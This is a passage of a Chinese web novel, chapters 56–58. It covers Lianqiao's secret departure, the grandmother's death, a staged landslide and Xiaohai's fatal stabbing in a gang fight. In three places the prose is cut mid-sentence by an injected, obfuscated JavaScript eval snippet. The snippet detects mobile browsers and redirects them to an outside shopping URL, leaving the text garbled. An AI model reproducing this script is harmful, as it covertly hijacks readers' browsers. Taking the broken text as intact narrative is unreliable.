连翘原本在想事情,想象着离开的场面会是怎样的,可是她竟也在这样的安心和静谧中不知不觉睡着了。 闭着眼睛的李空山缓缓把眼睁开。 他偏头看着身旁的人,目光里各种情绪交织,他终于明白,从前那个烟雨朦胧的春日,少女的目光为何总有一种坚毅和执着。 因为她,终究要走的。 无声的眼泪从他眼角流出来,热热的,滴落在枕头,他注视着她,想要多留存一点儿脑海里关于她的记忆。 他想,尧尧……你一定会好好的,对吗? 连翘背对着李空山躺在床上,她明明什么都没看见,却又好像知道李空山正难过,她伸出手,让李空山的手搭在自己腰间。 他顺势环住,抱紧。 他想,尧尧,如果抱紧你,你是不是就不会走了? 56. 第 56 章 窗外的阳光照射进来,一缕金灿灿的光洒下,延伸至床底。连翘去参加口语考试,李空山知道,这也意味着她不会再回来了。 他放下按鼻梁的手,走到小茶几前,看着白色桌面上放着的小蛋糕,不禁冷笑一声。 真是可笑。 所以她说,心情难过吃甜甜的蛋糕就会变得开心,就是指此刻? 李空山面无表情凝视了蛋糕许久,当初独属于少年的狠劲儿又再次回到他的身上。 他抬起目光,一声不吭,摔门离去。 蛋糕被他提出去,决然甩入门口垃圾桶。 他的确不开心,可他更不愿意碰连翘谎称的所谓能变开心的蛋糕。 因为他怎么都不会变开心。 李空山明白,其实他还是不服,他仅存的妄想和现实毫不相干。她还是离开了,那么决绝,那么毅然,甚至一句话都没有给他留下。 藏在落寞的情绪背后的,是巨大的愤怒猛兽。 口语考试结束以后,孙阚平就开着摩托栽连翘再回一次清流镇。 “你说你都要走了,还回去一趟干什么?不舍得他,还想再看一眼?”开着摩托车的孙阚平问。 “不是。”连翘目光坚毅,坐在后面与孙阚平保持好距离,“我要去和奶奶还有可萱姐姐告别,在他回去之前。” 连翘回到李空山租的房子里,什么都没有带,也什么都没有拿,除了她放在抽屉里一直好好保管的手账本,上面记载了每一项支出,每一笔李空山花在她身上的钱。 这些,都是她以后要还的。 孙阚平端臂靠在门口,一边注意着楼下是否有人来,一边开口,“除了这旧本子,你真什么都不拿啊?” “不拿。”连翘的动作很快,找到手账本以后就快步朝门口走去,“既然都决定要走了,就什么都不该带,所有的念想都应该抛下。” 孙阚平目光落在连翘怀中的账本,“那你还拿这个?” “欠债还钱,天经地义,抛下一切和还债是两回事不是吗。” “行。”孙阚平无话可说,连翘的坚决和她此刻的毅然已让他找不到反驳的语言。 连翘匆匆下楼,抓紧时间,孙阚平紧跟其后。 然而连翘不知道的是,李空山此刻就在对面那栋居民楼里看着她,通过窗户,他看见了连翘匆匆离开的急切。 她那么着急,不就害怕他回来以后,碰见他而无言以对吗。 李空山就那么站着,不懂,不问,也不哭。 实际上,他好难过。 他不明白为什么她还是决意要离开他,只字未提,一声不吭。 窗户是开着的,窗沿下桌面的那盆连翘盆栽的清风吹拂下,仿佛正闭眼扬起一抹笑,它看着连翘离开,看着门被关上。 那一刻,它一定是在欢送连翘,祝愿她以后前程似锦,再不赴人间悲难宴。 孙阚平答应连翘,送她再去乡下和奶奶告别。 由于时间来不及了,她不能再亲自到魏可萱那儿同她辞别,只能拜托院子里的徐尔枸帮她把信送到魏可萱的家里。 徐尔枸得到了送信的报酬——满满一口袋的棒棒糖,相当满意,不过按照连翘说的地址找上门去的时候,他怎么敲门都没有人。 于是,徐尔枸只好将这封信从门缝下塞进去。 早晨刚下过一场雨,地面潮湿黏腻,路边野草手掌上托着摇摇欲坠的雨珠,势要上演一场平衡力的表演赛。 孙阚平停下摩托车在外边儿等,连翘怀着复杂的心情走进奶奶的屋子。 彼时,奶奶正躺在床上静养,这些日子她身子状况一天不如一天了,但是她没有让任何人知道,她从来都不想让镇里的孩子们担心。 听到脚步声,闭眼的奶奶微微睁眼,出声询问,声音有些苍白无力,“谁啊?是空山吗?” “奶奶,是我。” 连翘绕过堂屋走进奶奶的房间,这是一张老旧的木架床,床上挂着蚊帐,木架床下安置着一层隔板,用以置放箱子和杂物。 据说,这张床是奶奶年轻时候的嫁妆,随着她一起来到了这里,多年过去,木床还陪着奶奶,只是当初心心念念的人已不在。 “连翘,是你呀,今天不是考试吗,怎么还来看奶奶啦?” 老太太努力地扬起嘴角,想坐起来,可是她发现自己的身体实在太笨重了,那双眼睛也是,怎么努力睁开,都只能抬起半边眼皮。 她深知自己的时候不多了。 “奶奶,我来就是想跟你说声谢谢,还有,接下来我可能要离开一段时间,等我以后忙完了事情,我就回来看你。我不在的时候,你一定要保重身体,重的活儿可千万别去做,让隔壁的婶婶帮你就行。” “柜子高的地方也别去擦,当心摔下来,还有,下雨天的时候也少出门,你的腿脚不方便,我怕你崴脚。” “对了,如果你有需要帮忙的地方,你就打电话,要是想我们了,随时说一声,我回来看你。” 老太太浑身使不上劲儿,努力挪身子侧身看她,目光还是那样和蔼,语气总是那样亲切,“孩子,你要走了呀?去哪儿?去多久呐?” “就是去外面办点儿事情,奶奶,你放心,不会去很久的,等我把该做的事情都做完,我就回来看你。” 她在老太太的床边蹲下,握住老太太的手,奶奶的手还是像以前一样温暖,只是连翘忘了感知她和蔼目光下的两难。 “好,去吧,放心去,奶奶会照顾好自己,你在外面也要照顾好自己。”老太太接着问,“空山呢?空山和你一起走吗?” 连翘顿了下,抬起头看她,心好像忘了跳动,“他……不走,我一个人走。” “一个人走啊……” 奶奶想了想,又重新笑起来,“没事,只是你一个人可千万得注意安全呐。你看我以前都没帮上你们什么,你还特地回来看我。”奶奶愧疚地笑着注视她。 连翘握住奶奶的手,目光里饱含爱惜,“奶奶,你这话可就说得不对,你的心里总是记挂着我,就是对我最大的帮助。” 她记得几年前被田永贵撵出门殴打的那个黄昏,买菜路过的奶奶即便不认识也要冲上来护住她。 正因为此,田永贵挥下来的竹条扇在奶奶举起来阻挡的手掌上,留下了长长的一道疤。 连翘看着此刻奶奶手掌心里的这条疤痕,至今仍不敢忘怀。 那天,奶奶训斥田永贵不能这么殴打孩子,拿走竹条,确认连翘安全,并告诉连翘,如果田永贵以后还打她,就去顺兴街找一户姓仲的人家,奶奶就住那儿。 她向连翘保证,她为会她伸张正义。 一切的一切她都明白了,其实命运早已经派了心善的他们来保护自己,只不过他们不小心擦肩而过了几年而已。 在屋外等候的孙阚平学了声布谷鸟叫,提醒连翘,时间到了,该走了。 连翘站起来,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272914|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难又不舍,“奶奶……我得走了,你一定要保重身体!有事儿就打电话找李空山和小海他们。” “好,放心去吧。” 窗台上放着的收音机庄严而肃穆,奶奶和蔼笑着,连翘刚走一步,她又拉住连翘的手,“孩子,其实上次你问我空山心里愧疚的那件事,是你自己想问对不对?其实当初他嘴里念叨的小妹妹,就是你对不对?” 连翘诧然,愣在原地。原来奶奶早已看出。 奶奶继续开口,明明身子很虚弱,但她在努力伪装,不让连翘看出来。 “孩子,当年是我对不起你,要是我把空山的话放在心上,去找你,你就不会又被那些人贩抓回去了……都是奶奶的错,奶奶不好呐……” “奶奶,不怪你。” 连翘转身,回到床前,她握住奶奶的手,手指感受着手掌心那道疤痕上篆刻的岁月的沧桑,“兜兜转转,你和李空山都重新救了我、帮了我,你们是我最应该感谢的人。奶奶,你记住,你千万不要自责,你看我现在不是好好的吗,如果不是遇见你们,我现在肯定还逃不出田永贵的魔爪呢。” “奶奶,我很感激遇见你们,你放心,等我把我的事情办好,我就回来看你们。” 再不走就真的来不及了。 连翘起身,压下心底的难受和不舍,转身走了出去,她眼眶泛红,咬紧下唇,目光里满是伤感,不敢让自己哭出声。 奶奶松开的手垂在床边,无力又沉重。 她呆呆地看着正前方,积压了多年的愧疚终于迎来了释然,当年那个孩子没事。 没事就好。 她希望连翘未来的路能走好。 打从第一眼看到连翘时,奶奶就知道,连翘要走的路不是别人的路,而是她自己的路。 生命的最后几分几秒,奶奶由衷祝福她,愿她好。 她把目光挪向窗台上放着的老式收音机,以前李空山小的时候就爱在这间房写作业时打瞌睡,收音机里藏匿着岁月和时光。 她的目光那么平和,那么慈爱,只是她还牵挂着李空山,不知道等她走了以后,这小子能不能走好自己的道。 思索着,疑惑着,盼望着…… 奶奶缓缓地闭上了自己的眼,放在床沿的手垂了下去,彻底无力悬挂在床边。 死亡终究悄无声息地到来。 - 孙阚平骑着摩托车载连翘赶往汽车站,镇子里开往市里的大巴车每隔半个小时发一次车,他们必须得抓紧时间在剩余的十分钟之内赶到汽车站。 不然就还要再等半个小时,半个小时以后还会有什么变数,谁都说不清。 车开到半路的时候,天突然下起雨来。 蒙蒙细雨落在连翘的脸颊和手臂上,一点点地朦胧她的双眼,她望着两侧的小山丘,不禁想起李空山接自己放学的无数个日日夜夜。 离开的这一天,终究还是来了。 - 摩托车开到镇子里,过了这条街,就能到汽车站。 孙阚平卯足马力,使劲往前冲。 “我去——” 一个急刹车,孙阚平急忙把车停下。 “怎么了?” 连翘问道,目光错开孙阚平的头往前方看去。 只见阴鸷的少年站在雨里,背靠着汽车站入口的墙而站,身上的衣服已经被淋湿,盯着路面,一言不发。 似乎在等人。 是李空山。 57. 第 57 章 孙阚平的脸上满是大大小小的雨珠,他抹了一把脸,回头对连翘说:“他是在等你吧,不行,我们得想办法,再不走来不及了。” 连翘心中已经有了主意,她准备下车,“我去吧,我去直接和他说清楚,告诉他我想走了,不想待在这儿,也许他会尊重我的选择,让我走的。” “不行,你不能去。我不能让你去冒险,万一这小子不让你走怎么办?你可是案子的关键人物,我可不能让你有闪失,我陆队交代了,必须把你安全带回。” 孙阚平拦住连翘,不让她下车,蒙蒙细雨洒满肩头,他很快就想到了办法,“这样,我有主意。” 站在李空山身边的小海隔一会儿就劝李空山,“哥,要不咱还是回去吧,你不是说愿意放她走吗,拜拜就拜拜,下一个更乖,何必自己在这儿淋雨苦等。就为了说几句话?告诉她等以后还要再见面?说不定她早就离开了。” “不,我有预感,她一定还没走。”李空山低着头,雨滴落地又溅起的画面映入他的眼眸,他的气场很沉重。 小海注视着李空山的背影,皱起眉,又懊恼又心疼,果然感情这种事情说不清道不明,来来回回扯来扯去,只有置之事外的人一身轻。 细雨斜风的街道里跑来一个中年男人,他在拼命大喊:“不好了——不好了——洞子湾发生坍塌,路过的人和车全被压在下面,有没有人呐,快去帮忙呐——” 小海忽然变得警惕,重新站直,“哥,洞子湾不是那小警察和连翘回来的必经之地吗?他们还没来,会不会是因为……” 李空山二话不说跑出去,冲到街道中央,拽住男人的衣领,“你再说一遍,有谁陷在山体坍塌下面?” 男人有些懵,颤着声回答:“我……我要是没看错的话,就是一辆摩托车还有车上的两个人。一男一女,女的年纪不大,看着还在读书。” 砰的一声,李空山松开拽住男人衣领的手,二话不说就骑着停在路边的摩托,向洞子湾那边赶过去。 他在心里祈祷,她千万不要出意外。 小海急急忙忙拦下一辆摩托车追上去。 孙阚平带着连翘来到山丘顶部,山丘底下就是汽车站,也可以将不远处的洞子湾一览无余。 山体的确发生坍塌,树干和泥土混杂倒塌在路面,阻断了交通,李空山急急忙忙刹车下来,来不及把车停好,踉跄着步子就朝坍塌处跑去。 他能依稀看见一辆被掩埋的摩托车,外观和型号和那小警察租的差不多。 “尧尧——尧尧,你能听到吗尧尧?” 李空山心怦怦跳,他跑到坍塌的地方开始使劲儿地刨土,没过多久,手上全是泥,手指甲缝里也是,混杂在泥土里的树干被他拖走,他剖开滚下来的碎石头,慌张害怕。 像快要发疯的猛兽。 手指多处擦破皮,流出血。 而刚发生过坍塌的山体随时还有再坍塌的可能。 “哥——” 小海赶来,知道劝不动他,也随他一起搬石头剖土,想要把压在最底下的摩托车和里面的人救出来。 山丘上修筑着一个古老的凉亭,连翘站在下面,眼眶中有眼泪,难过和自责爬满她的脸庞。 孙阚平看着李空山那样奋不顾身,突然有些不知所措,“不好意思啊,我就刚好想到这法子,没想到……他那么奋不顾身。” 连翘的眼泪汹涌夺眶而出,她心里的愧疚更加剧烈,她不懂,为什么明明自己打算离开,他还要拼了命地去救她。 甚至想也不想。 别人说她有危险,他就二话不说跑过来。 “时间差不多了,我们走吧。”孙阚平低头看了下手表上的时间,出声提醒,即便他知道自己此刻有些“罪孽深重”,但他不得不这么做。 连翘不舍地注视着山丘下的李空山,她明白,告别的时刻必须来临。 自责和愧疚有时像不息的河流,有时像波涛汹涌的海浪,她的身子随着她的啜泣而上下颤抖起伏。 对不起李空山。 对不起…… 连翘想,等她活明白了她可以是谁,她就把欠他的,都还给他。 她带着漂浮泪水的眼睛和抽搐颤抖的身子转身离去,消失在山丘顶部。 树干被推走,石头被挪开,泥土也被剖干净,压在下面的摩托车终于显现雏形,只是…… 没有所谓的人,更没有他所担心的尧尧。 这里有的只是一辆空空如也的摩托车躯壳。 “太过分了!”小海叉腰往后退,气得咬紧牙,“这不是纯纯骗我们吗!哥!这太过分了!哪有这样对你的!” 小海说什么也要找连翘和那小警察理论去,要是他们还没走的话。 小海比任何人都清楚,李空山又不是不让他们走,可他们呢? 至于这样为保万无一失欺骗他,玩弄他的一片真心和感情吗? “小海,回来。” 李空山往后退,怔怔站着,目光变得空洞,他开始明白,连翘想走的决心远比他想象得坚定、牢固。 她想飞出笼子的愿望,已经在她的心里憋了、藏了很多年。 李空山开始明白,开始接受,开始承认自己像个笑话。 小海要带李空山走,不让他一直站在这儿淋雨,毕竟山体还有再坍塌的可能。 可是李空山说什么都不肯动。 他就这么站着,一言不发盯着脚下这辆陷进泥土里的摩托车。 他知道,有些东西,已经变质了。 “哥,咱们回去吧——你在这儿一直淋雨怎么行?会生病的!再说了!这里才发生过坍塌,很危险的,快走啊!” 小海抱住李空山,用力把他往后拉,而李空山就像识趣灵魂的躯壳一样,没有半点儿波澜和生气。 - 大巴车发动,离开清流镇的车子发动,驶去连翘向往已久的远方。 孙阚平偏头,看着隔着过道坐在左侧的连翘,想要说点儿什么,又不知道该说什么。 连翘偏头,看着窗外,连绵起伏的山丘在烟雨中变得朦胧,想要和路人玩游戏,不让人们看清它真正的模样,大大小小的良田后面是低矮的小屋和楼房,偶有几户人家住。 这一刻,她终于踏上了想走的路,可是她却没有自己想象中的开心。 她还是忘不了李空山拼了命地去剖土剖石头的模样,如果说一个人待自己所珍惜之人会是什么样子,大概就是这样吧。 她的眼泪无声划过脸颊,离开的前夜,她口口声声答应李空山以后还要和他在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281875|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,口口声声许诺他不会走,可是所有的承诺和语言都是她编制的谎言。 是她让他一腔情愿陷进去却默不作声,连援手都不愿意伸。 她只觉自己愧对李空山,愧对了许多许多。 冰冷的雨水打在窗外,连翘看着眼前密密麻麻的雨珠,尽管只有一窗之隔,可是她却神奇地发现这些冰冷的雨水其实也正击打着她的心。 她低下头,闭上眼睛,睫毛被打湿黏在眼下。 “李空山,对不起,可我终究只是想活出自己的人生,不想靠任何人,不想附庸任何事,以后的以后,等连翘活明白了她是谁,她一定把欠你的都换给你,如果有机会,她一定亲口对你说一声对不起。” 后来,孙阚平想活跃气氛,故意问她在车上是不是哭了。 她固执地摇头否认,说自己没有哭,就算哭,也只是因为终于离开才流下激动的眼泪而已。 从此以后,连翘只是连翘,不关乎任何人任何事,只是她自己,坚强的、勇敢的连翘。 - 小海把李空山带到一个安全的地方,远离坍塌之地,但他还是不肯回去。 冰冷的雨水冲刷着他的身躯,他忽然好像想明白了什么,抬起头,让小海先回去。 他不要固执了,也不要所谓的逞强和好面子,他要去找连翘,趁她走之前,把自己想说的话说完。 不留遗憾。 可是等他在大雨中拼命奔跑赶到汽车站时,驶向远方的那辆大巴车已经发动了。 他追啊追,却怎么也追不上,大雨滂沱,无情地冲刷他的身躯,连带着他的目光。 直到大巴车的背影消失在朦胧的烟雨里,他才不甘心地缓缓放慢脚步。 他看着车子越来越远,驶向远方,自己怎么抓都抓不住。 她的心不在这儿,所以他留不住的。 李空山浑身湿透,碎发被打湿黏在额头,身子上全是密密麻麻的雨珠,他的睫毛被大雨冲刷,沉重得抬不起来,怎么都辨不清消失的车里的人的心意。 他就这样怔怔地站着,一动不动,拳头握得很紧,即便车子已经消失不见,可是他的目光还是不愿意从车子离开的方向收回。 这一天,他想说的话,终究没有机会说出口。 小海赶过来,拉他走,“哥,算我求你了,咱回去好不好——” 说不心疼,是不可能的。长这么大,小海第一次看见李空山这样。他不想看见自己记忆中谁都不服只服自己的李空山碎成这样,像块永远拼凑不好的玻璃。 许弋刚赶到这里,同样来劝站在雨里一动不动的李空山回去。 但无论是谁来,都劝不动。 以前李空山意气用事固执的时候,都是连翘来劝,一劝一个准。他就对连翘服软,只听她的。 可是今时难比昔日,当初哄着他让他安分的人已不在。 小海着急,朝许弋刚胸口来了一拳,“快想想办法啊!” 许弋刚无奈,“我能有什么办法,连翘走了,他谁的话都不听!” 姗姗来迟的孟河赶到这里,本来是和小海他们一起劝李空山回去的,可是来的路上他却听到了一个噩耗。 他在大雨中跑来,厉声大喊:“哥!不好了,出事了!楼巩拿刀砍人了!” 58. 第 58 章 李空山慌了神,连翘的事只能暂时置之脑后,他转身拦住孟河:“你刚刚说什么!” 孟河急急忙忙解释,雨水噼里啪啦奏响,打湿他的脸颊,他必须放大声音,才能让自己的声音盖过雨声。 “有人报警!现在警察已经赶过去了!” 李空山二话不说,抬起躺在一边的摩托车就骑走。 - 魏可萱把自己关在屋子里,至今没有出过门,期间,她看到了徐尔枸从门缝地下塞进来的那封信,但她依旧置若罔闻,空洞地盯着地面,一动不动。 在这个漆黑的世界里,她只能自己抱住自己,以减少寒意的侵袭。 直到楼下传来妇人惊乍乍的叫喊声,她才逐渐回到当下这个现实的世界里。 “杀人了——杀人了——出人命了——” 魏可萱的腿僵硬又麻木,反手撑在墙壁上才能艰难站起。 她拉开窗帘一道缝隙,目光向下眺望,只见人群簇拥的中心区域,一个男人躺在地上,肚子都是血,染红身下的道路。 另一个男人手里拿着刀子,刀子上的血滴滴答答落在地面,但他的目光里只有狠,没有悔。 魏可萱瞬间慌了神,跌跌撞撞跑下楼。 警察来了。 警车停在路边,车顶蓝红色相间的指示灯闪着光。 围观的人群越来越多,挤成一圈,魏可萱的眼里满是惊慌,拖着僵麻木的脚从人群中挤进去。 警察赶到现场,维护现场秩序的同时,让救护车把受伤的男人抬上担架,同时将持刀伤人的楼巩制服住,反扣他的肩膀。 “散了啊,都散了!” 警察把人群散开,人来人往,好不容易挤进人群,魏可萱又被左右散开的人撞开。 她爬起来,重新站好,从挡路的人中间挤出去,奋力往里走。 她看见楼巩就要被警察带进车里。 隔着一条街,楼巩站在车门前,往外面看了眼,恰好对上她的目光。 一时间,有好多话想说,好多事想问,可是两个人之间却只剩沉默。 魏可萱崩溃地捂住嘴,闭上眼睛流眼泪,声音颤抖又嘶哑,“楼巩,你这是做什么啊……你疯了吗你……” 她怎么也没想到,她把自己关在屋子里谁也不见的时候,楼巩已经任由冲动裹挟,即便明知代价是什么。 他的目光里有愧疚,有自责。 他只后悔,后悔自己这次还是没有保护好她。 几年前,他把她从下街带出来的时候,明明许诺了她从此以后都不会让她再受到伤害。 可是他失言了。 如果那天他早点儿去找她,就不会发生意外。 他什么都没说,什么都没做,最后不舍地看了她一眼,收回目光,在警察的注视下进了警车。 那一眼,留给她的只有沉默。 车子启动,驶向远方,魏可萱奋不顾身追上去,可她终究是追不上车子的。 “楼巩……你回来啊……你回来……” 她跑啊跑,却眼睁睁看着警车越来越远,她不明白。 不明白楼巩为什么要这么冲动,不明白为什么他要知法犯法。 不明白……他为什么宁愿堵上自己的前程和后半生。 她泣不成声跪坐在地上,开始后悔,如果她要是能够拦住他,就不会发生这样的事了。 天旋地转,世事变迁。 好多事情忽然一念之间转弯,给人开了个天大的玩笑。 李空山带着小海、孟河、许弋刚赶去另一条街,只是还没赶到,半路就遭到了赵旭摩带人拦截。 赵旭摩带着几十号人堵住李空山等人的去路,右手拿着钢棍搭在左手掌心,站在这几十号人最前面。 他不经意笑出来,出声调侃,“哟,这是谁啊,这么落魄,原来是你李空山啊。” 赵旭摩歪着脑袋,目光扫过前方的四人,他等了这一天可是等了很久。 赵书誉被抓进去后,他就日日夜夜盼着找李空山报仇,今天,他终于等来了这个机会。 “滚一边儿去,老子今天没工夫跟你废话。” 李空山阴鸷地盯着他,全然不把他放在眼里,提脚就要走。身后的小海也很傲然,抬起下巴,给他们摆鬼脸。 许弋刚倒是感到有些不妙,赵旭摩带来的人可不少,而且各个身形高大,身形健硕,不用猜也知道,这是赵旭摩专门到外地雇佣的打手。 他慢慢挪动步子,靠近孟河,说:“你赶紧从后面绕道走,回去找人。” 孟河偏头看他:“那你们呢?” “管不了那么多,你快去。” 许弋刚把孟河推开,回到李空山身旁站着。 赵旭摩不屑,“啧,临阵逃脱啊?李空山,我看你的人对你也不是那么忠心嘛,这还不是大难临头各自飞?” “关你屁事。” 李空山满脑子都是楼巩的事,没心思跟赵旭摩在这里较劲儿,他看了眼巷子口的两侧,说:“小海,刚子,有场硬架得干了。” “放心吧哥。”小海自信开口,“正好黑武会解散以后,好久没活动手脚。” 李空山又偏头看一眼身旁的许弋刚,两人确认眼神过后,抡起脚边的砖头就冲了过去。 小海紧跟其后,捡起地上一根木棍扳开成两节,灵活地滑步冲过去,打对面的人的底盘。 赵旭摩早就有所准备,他今天带这么多打手,就是为了让李空山有来无回。 他蹲在旁边看了会儿热闹,笑看区区三个人如何对付他带来的五十多号人。 等到三个人都被围攻脱不开身以后,赵旭摩用大指姆摸了下嘴角,站起来朝李空山走去。 他用左手掌掂量着钢棍重量,不屑走到李空山面前,“喂,李空山,你还有脸在这儿打架呢?不是我说你,你这一生还真挺失败的,亲妈丢下不管,喜欢的妹子甩了你走人,好兄弟砍人被警察带走,是不是跟在你身边的人都会变得不幸,所以他们才离开你啊?” 李空山踢开跟自己缠斗的男人,举起砖头砸另一个朝自己挥拳而来的男人的腿,弯腰转身到另一边。 “我的事轮不到你在这儿指手画脚,赵旭摩,你敢拦我路,我tm今天绝对不放过你。” 楼巩的事还在他的心头盘旋,他现在赶着去见楼巩。 赵旭摩拖延的每一分每一秒,都让李空山憎恨、愤怒。 小海摆脱三个男人的缠斗,跑到李空山面前来,“哥,你快走,楼巩的事儿要紧,这儿交给我们!” 李空山看了眼被打倒在地还继续爬起来重新加入战斗的一个又一个壮汉男,驳回小海的话,“不行,要走一起走。” 他挥起拳头砸壮汉男的脸,跑过去拉开要用钢棍打小海的壮汉男,举起地上的砖头砸他的肚子。 赵旭摩在旁边鼓掌,“精彩,真是精彩,好一个兄弟情深,李空山,到了这种时候,你还要和你手底下的人装模作样演戏呢。” 他发狠,瞪着李空山,嘴上说他们在假惺惺装好兄弟,其实赵旭摩就是嫉妒。 嫉妒李空山手下的人总是对他一片忠心,而他却从来都无法拥有这样的追随者。 他举起手里的钢棍,“给我打!全部给我往死里打!” 虽然赵旭摩带来的打手多,但常年的格斗训练让李空山和小海、许弋刚各个身手都很好,被打趴在地爬不起来的男人也有一大半。 许弋刚分心去看李空山,不慎被几个男人往地上揍,剩余的八九个男人纷纷朝小海和李空山这边走。 赵旭摩今天的目标是李空山,他要报复李空山当初的检举之仇。 钢棍被他扔在一旁,他笑着拿出裤兜里放着的刀子,走到还在和其余男人打斗的李空山背后。 小海的力气不如开始,一不留神,就被几个男人踩在地下往死里打,他蜷缩着身子,吐了血,倒在地上,眼睁睁看着赵旭摩的刀子就要刺中李空山的后腰。 “哥……小心,小心啊……” 小海的脸又红又肿,他快没了力气,被几个壮汉男殴打着,一念之间,他用全身上下最后一点儿力气站了起来,朝李空山冲过去。 挡在李空山身后。 刀刃入体的声音传来。 李空山瞳孔放大,惶恐地回头,只见小海懵懂地低下头看自己疯狂流血的肚子,不知所措。 “小海!” 他转身扶住要倒下的他。 李空山去看小海的伤口,手颤抖着捂住,慌了神,声音发抖,“别怕,别怕,我带你去医院,没事的没事的……” 小海感到伤口传来钻心的痛,他口吐鲜血,身体发软,彻底没了力气。 但他还是努力冲李空山扬起一抹笑,“哥,没事的,我不疼。我不想看见你失了魂六神无主的样子,哥,你答应我,还要和以前一样过得没心没肺的快乐,好不好?” “别说话了,你别说话,我带你去医院。” 李空山早已顾不上周围的打手,扶起小海就要走。 赵旭摩没想到自己伤到了小海,毕竟他的目标是李空山,他找来的打手只是拿钱办事,但不敢担上人命,扔下钢棍就跑了。 但赵旭摩无所谓。 他现在想要对付已分心无招架之力的李空山绰绰有余。 只见赵旭摩举起长刀,瞄准目标朝李空山刺下去。 李空山眼神发狠,出手握住刀刃,挡住赵旭摩的刀。 赵旭摩使力往下按,李空山使力挡住,手掌心也因此割破流血。 小海的眼睛忽闭忽合, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13284010|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他用余光瞄赵旭摩,细雨冲刷掉刀上的血,未知的终点正召唤他。 许弋刚的腿被打得严重,试了无数次也站不起,只能艰难地拖着腿朝他们爬去。 奈何赵旭摩这人就喜欢玩阴的。 他知道李空山现在的注意力不在他自己身上,只在小海身上,于是他踢开李空山,举起刀子就朝小海的肚子刺去。 李空山立刻扑过来,用自己的身子挡住赵旭摩刺下来的刀。 小海呼吸笨重,雨水冲刷他躺在地面上的血到远处,他用最后一丝力气把李空山推开,两人滚动,现在换做他重新挡在李空山的身上。 血不断往外流。 一刹那的功夫,又刺错人了。 赵旭摩骂了声,感到不安,撒开手慌张跑走。 因为他无比清楚,这次卯足了劲儿,刺得很深,人怕是无力回天了。 许弋刚爬到一半,惶恐地看着小海肚子上中刀,皱起眉想要跑过去,可是他动不了。 刀子还插在小海的肚子上,李空山站起,瞳孔颤抖,崩溃大喊:“你是不是傻!” 他把小海扶起来,取出刀子,撕下自己的衣角捂住小海肚子上的伤口,“别怕,小海你别怕,我带你去医院,你不会有事的。” 李空山把他背起来,慌了神朝医院的方向跑去。 大雨冲刷少年们的身躯,泯灭他们脚下的道路,他们还是毅然决然地走在属于自己的天空下。 只是天空不会永远放晴,偶尔也有乌云满天,疾风骤雨。 小海趴在李空山后背,那双手无力地搭在李空山的肩头,从肚子部位流出的血染红了李空山的衣裳,沿着雨水一起落在地上。 大地感到诧异,原来雨水也会变成红色。 “哥……你放心,我不疼。雨下得好大,好适合睡觉。” 李空山背着小海在风雨里跑,淋湿的衣服皱巴巴地黏在皮肤,他的头发往下滴雨。 大雨那么不听劝,非要朦胧他的双眼。 “你别说话,啊,小海,听话,马上就到了,等医生给你处理好伤口,你又能在我面前活蹦乱跳,我以后也再也不欺负你了,好不好,别睡,你千万别睡。” 李空山又慌又乱,他的眼睛红红的,却要告诉自己此刻绝对不能妥协变软弱。 “哥……” 小海伸出手去触碰李空山的下颚,有温度,李空山还活着,真好。 他笑了。 “哥……从、从小到大都是你挡在我的面前,保护我不受人欺负,那个时候我就在想,如果有一天我也能保护你就好了,你看,今、今天我终于做到……我、我这一生就没有遗憾。” “真好,这辈子,我也保护了你一次。” 路面积水,街道上再无行人,道路两侧的商店已关门,只剩招牌字号还亮着。 李空山不停地加快脚步往前跑,“小海,你留点儿力气,别说话,有什么等医生把你救回来再说。” “哥……” 小海注视着朦胧视线里的李空山,他跑得很快,雨下得很大。小海似乎能感受到李空山的身子因为害怕在颤抖。 他不是害怕困难,他是害怕失去。 “哥,我爸妈死得早,小时候我就没人管教,后来我遇到了你,你让我做你小弟,你当我大哥,我看你打架厉害,我有安全感,就说好,没想到这一喊,就是十年。” “哥……我、我真的很幸运这辈子能遇到你,做你的弟弟,我真的、真的没有什么遗憾了。有你保护我的日子里,我过得很快乐,也学会了很多。” “赵旭摩是个混蛋,他说的话,你一定一定不要往心里去,你不是烂人,跟你在一起的人也绝对不会变得不幸,他在胡说,扯淡,这么聪明的你肯定不会听进去的对不对?” “哥……” “你记住啊……你没有失去一切,没有……全都是暂时的,你要好好活着,堂堂正正,我、我在天上……看着呢……” 小海搭在李空山肩上的手滑了下去,脑袋倒下贴在他的背脊处。 李空山跑着跑着,忽然停下脚步,他目光空洞,一动不动。 刹那过后,眼眶中的眼泪落下,划过他的脸颊,无声,寂静,远远比不上今夜滂沱大雨的喧嚣。 “小海——” 少年的怒吼声划过长空,所有的不甘和懊悔像闪电飞驰而去,经过无人区,回到他的眼眶中。 